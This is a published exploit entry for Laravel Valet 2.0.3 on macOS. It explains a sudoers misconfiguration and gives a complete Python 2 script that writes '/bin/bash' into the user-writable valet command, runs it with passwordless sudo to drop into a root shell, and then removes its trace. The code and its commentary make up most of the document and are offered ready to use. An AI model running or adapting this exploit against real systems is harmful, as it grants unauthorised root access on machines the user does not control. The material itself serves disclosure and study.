# Exploit Title: Laravel Valet 2.0.3 - Local Privilege Escalation (macOS) # Exploit Author: leonjza # Vendor Homepage: https://laravel.com/docs/8.x/valet # Version: v1.1.4 to v2.0.3 #!/usr/bin/env python2 # Laravel Valet v1.1.4 - 2.0.3 Local Privilege Escalation (macOS) # February 2017 - @leonjza # Affected versions: At least since ~v1.1.4 to v2.0.3. Yikes. # Reintroduced in v2.0.7 via the 'trust' command again. # This bug got introduced when the sudoers files got added around # commit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1]. # Effectively, when the valet command is installed, composer will symlink [2] # the `valet` command to /usr/local/bin. This 'command' is writable by the user # that installed it. # # ~ $ ls -lah $(which valet) # lrwxr-xr-x 1 leonjza admin 51B Feb 25 00:09 /usr/local/bin/valet -> /Users/leonjza/.composer/vendor/laravel/valet/valet # Running `valet install`, will start the install [3] routine. The very first action # taken is to stop nginx (quietly?) [4], but runs the command with `sudo` which # will prompt the user for the sudo password in the command line. From here (and in fact # from any point where the valet tool uses sudo) the command can execute further commands # as root without any further interaction needed by the user. # With this 'sudo' access, the installer does it thing, and eventually installs two new # sudoers rules for homebrew[5] and valet[6]. # ~ $ cat /etc/sudoers.d/* # Cmnd_Alias BREW = /usr/local/bin/brew * # %admin ALL=(root) NOPASSWD: BREW # Cmnd_Alias VALET = /usr/local/bin/valet * # %admin ALL=(root) NOPASSWD: VALET # The problem with the sudoers rules now is the fact that a user controlled script # (rememeber the valet command is writable to my user?) is allowed to be run with # root privileges. More conveniently, without a password. So, to trivially privesc # using this flaw, simply edit the `valet` command and drop `/bin/bash` in there. :D # Or, use this lame script you lazy sod. # # ~ $ sudo -k # ~ $ python escalate.py # * Shell written. Dropping into root shell # bash-3.2# whoami # root # bash-3.2# exit # exit # * Cleaning up POC from valet command # [1] https://github.com/laravel/valet/commit/b22c60dacab55ffe2dc4585bc88cd58623ec1f40 # [2] https://github.com/laravel/valet/blob/v2.0.3/composer.json#L39 # [3] https://github.com/laravel/valet/blob/v2.0.3/cli/valet.php#L37-L50 # [4] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Nginx.php#L133 # [5] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Brew.php#L171-L177 # [6] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Valet.php#L40-L46 import os import subprocess MIN_VERSION = "1.1.4" MAX_VERSION = "2.0.3" POC = "/bin/bash; exit;\n" def run_shit_get_output(shit_to_run): return subprocess.Popen(shit_to_run, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) def version_tuple(v): return tuple(map(int, (v.split(".")))) def get_valet(): p = run_shit_get_output('which valet') lines = ''.join(p.stdout.readlines()) if 'bin/valet' in lines: return lines.strip() return None def get_valet_version(valet_location): p = run_shit_get_output(valet_location) v = p.stdout.read(25) return v.split("\n")[0].split(" ")[2] def can_write_to_valet(valet_location): return os.access(valet_location, os.W_OK) def cleanup_poc_from_command(command_location): with open(command_location, 'r') as vc: command_contents = vc.readlines() if command_contents[1] == POC: print('* Cleaning up POC from valet command') command_contents.pop(1) with open(command_location, 'w') as vc: vc.write(''.join(command_contents)) return print('* Could not cleanup the valet command. Check it out manually!') return def main(): valet_command = get_valet() if not valet_command: print(' * The valet command could not be found. Bailing!') return # get the content so we can check if we already pwnd it with open(valet_command, 'r') as vc: command_contents = vc.readlines() # check that we havent already popped this thing if command_contents[1] == POC: print('* Looks like you already pwnd this. Dropping into shell anyways.') os.system('sudo ' + valet_command) cleanup_poc_from_command(valet_command) return current_version = get_valet_version(valet_command) # ensure we have a valid, exploitable version if not (version_tuple(current_version) >= version_tuple(MIN_VERSION)) \ or not (version_tuple(current_version) <= version_tuple(MAX_VERSION)): print(' * Valet version {0} does not have this bug!'.format(current_version)) return # check that we can write if not can_write_to_valet(valet_command): print('* Cant write to valet command at {0}. Bailing!'.format(valet_command)) return # drop the poc line and write the new one command_contents.insert(1, POC) with open(valet_command, 'w') as vc: vc.write(''.join(command_contents)) print('* Shell written. Dropping into root shell') # drop in the root shell :D os.system('sudo ' + valet_command) cleanup_poc_from_command(valet_command) if __name__ == '__main__': main()